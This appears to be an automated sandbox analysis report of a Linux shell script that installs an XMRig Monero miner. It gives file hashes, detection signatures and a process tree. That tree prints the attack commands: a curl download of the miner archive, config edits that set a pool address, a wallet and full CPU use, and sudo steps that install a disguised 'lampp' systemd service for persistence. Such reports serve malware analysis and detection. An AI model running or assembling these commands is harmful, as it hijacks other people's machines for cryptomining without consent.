Analysis

  • max time kernel
    3s
  • max time network
    439s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:49

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2817
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2821
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2822
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2825
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2826
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2831
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2832
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2833
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2833
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2833
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2833
                      • /usr/bin/rm
                        2⤵
                          PID:2834
                        • /usr/bin/sed
                          2⤵
                            PID:2835
                          • /root/lampp/xmrig
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2836
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:2839
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:2840
                              • /usr/bin/sed
                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                2⤵
                                  PID:2841
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2842
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:2843
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-6\",/" /root/lampp/config.json
                                      2⤵
                                        PID:2844
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:2845
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                            PID:2846
                                          • /usr/bin/sed
                                            sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                            2⤵
                                              PID:2847
                                            • /usr/bin/sed
                                              sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                              2⤵
                                                PID:2848
                                              • /usr/bin/cp
                                                cp /root/lampp/config.json /root/lampp/config_background.json
                                                2⤵
                                                  PID:2849
                                                • /usr/bin/sed
                                                  sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                  2⤵
                                                    PID:2850
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:2851
                                                    • /usr/bin/chmod
                                                      chmod +x /root/lampp/miner.sh
                                                      2⤵
                                                        PID:2852
                                                      • /usr/bin/sudo
                                                        sudo -n true
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:2853
                                                        • /usr/bin/true
                                                          true
                                                          3⤵
                                                            PID:2854
                                                        • /usr/bin/grep
                                                          grep MemTotal /proc/meminfo
                                                          2⤵
                                                            PID:2856
                                                          • /usr/bin/awk
                                                            awk "{print \$2}"
                                                            2⤵
                                                              PID:2857
                                                            • /usr/bin/cat
                                                              cat
                                                              2⤵
                                                                PID:2858
                                                              • /usr/bin/sudo
                                                                sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2859
                                                                • /usr/bin/mv
                                                                  mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                  3⤵
                                                                    PID:2860
                                                                • /usr/bin/sudo
                                                                  sudo killall xmrig
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:2861
                                                                  • /usr/bin/killall
                                                                    killall xmrig
                                                                    3⤵
                                                                    • Reads runtime system information
                                                                    PID:2862
                                                                • /usr/bin/sudo
                                                                  sudo systemctl daemon-reload
                                                                  2⤵
                                                                    PID:2863
                                                                    • /usr/bin/systemctl
                                                                      systemctl daemon-reload
                                                                      3⤵
                                                                        PID:2864
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl enable lampp.service
                                                                      2⤵
                                                                        PID:2988
                                                                        • /usr/bin/systemctl
                                                                          systemctl enable lampp.service
                                                                          3⤵
                                                                            PID:2989
                                                                        • /usr/bin/sudo
                                                                          sudo systemctl start lampp.service
                                                                          2⤵
                                                                            PID:3113
                                                                            • /usr/bin/systemctl
                                                                              systemctl start lampp.service
                                                                              3⤵
                                                                                PID:3114

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • /root/lampp/config.json

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            f3294129e6b76283965ad86a815bf383

                                                                            SHA1

                                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                                            SHA256

                                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                            SHA512

                                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                          • /root/lampp/miner.sh

                                                                            Filesize

                                                                            253B

                                                                            MD5

                                                                            f96a321a262287ceae164f23f232ed9c

                                                                            SHA1

                                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                                            SHA256

                                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                            SHA512

                                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                          • /root/lampp/sed6QZfjg

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            7d68adfc6abd58f7d14cee67939634b0

                                                                            SHA1

                                                                            d07632c101ed9a3430afd912ca553fc99ae457a2

                                                                            SHA256

                                                                            fbaad0116a7e70c9b7b03e894182181f8183894759e521517bb71455d3264cec

                                                                            SHA512

                                                                            013c41d56ecdbeae7fff006f261291cec029084a5a67bd21fb1d25c983a6519b961604d320d7d677d6b15a07424cd65ba77a4f3f776555208736e53ea3884625

                                                                          • /root/lampp/sedCvkqnY

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            082df69f33593a848c871e72f38d5de8

                                                                            SHA1

                                                                            7c0f72a5eebac1401c6a4919e0529dc9efbf9045

                                                                            SHA256

                                                                            73110c851ef94c5f00055a61ee839ad0f4b1fc579a93486d5cacb719890ad399

                                                                            SHA512

                                                                            d7a893863ae55e67a22ab9209d99a769e2a7a81f1e36150139039c8372feba79766c11b6c6f8240e99004e1cc59881119b12d2b8d2a1ebce503dfd00626a38fc

                                                                          • /root/lampp/sedGavoH5

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            8b11b027dd187104473ee7d661ffe25f

                                                                            SHA1

                                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                            SHA256

                                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                            SHA512

                                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                          • /root/lampp/sedMvTTbM

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            4fb943f111542d87c2f4378085150228

                                                                            SHA1

                                                                            30cc24a18831f876bf7de2f344c3c82c29ae2aa3

                                                                            SHA256

                                                                            38603160bb9053abcc6b66798e54b5b678d2cb13ab4cd39f5be38b288724bb7e

                                                                            SHA512

                                                                            2843d6d431b4be1c49cb03c79b397bd0ea2f447a9c2edc5a452d9a1e2a5655f5425296c0fc2775fb5c8e6210d4c8a1bf334aded62ffcd2476c44c8fbc70eb5e0

                                                                          • /root/lampp/sedRNGu6J

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            d489ddbbb83271e967b8af615d17d3c7

                                                                            SHA1

                                                                            f0394a367a60e9727269882154098dec802774ef

                                                                            SHA256

                                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                            SHA512

                                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                          • /root/lampp/sedsn2ROl

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            b8c0e8724218a63887550a7fc98339d1

                                                                            SHA1

                                                                            e4daeb731989749d31bc1f08e1682dd0503d9e58

                                                                            SHA256

                                                                            bd3be7c79437dbe2bfcce931298a29b9d107a4530963d1840a8b1192b245793b

                                                                            SHA512

                                                                            c1a8bc5f12f7cb380e435e232055f13fd8e09adc060bfa2bdc01b6b30d8eac61585257e5e4159227a817201554649fed83c3880761a74c592d2bc07d14dc6ad6

                                                                          • /root/lampp/xmrig

                                                                            Filesize

                                                                            8.4MB

                                                                            MD5

                                                                            de513f2dd616619db4f9f1c07d53f86d

                                                                            SHA1

                                                                            4ca52bda1861c6983a535a31594258178e79aa90

                                                                            SHA256

                                                                            7b0161f5b35a06965b1b7695a09f7a1b9ccdd108be13822ce2a8ba6be1d2f65f

                                                                            SHA512

                                                                            bc4ea9f1cae31bbbe3e11e38ae6912d99b1cfa7f50bf7a096bab1d9ee838844004e37080a00e9e0082b97af816f824dc0dfcefc539abc56b8e33def908bdf51f

                                                                          • /tmp/lampp.service

                                                                            Filesize

                                                                            177B

                                                                            MD5

                                                                            540c899b78585827e807a62f7345eaf5

                                                                            SHA1

                                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                            SHA256

                                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                            SHA512

                                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                          • /tmp/xmrig.tar.gz

                                                                            Filesize

                                                                            3.4MB

                                                                            MD5

                                                                            e003a3ec8bdd61151a61cadf950502c4

                                                                            SHA1

                                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                            SHA256

                                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                            SHA512

                                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9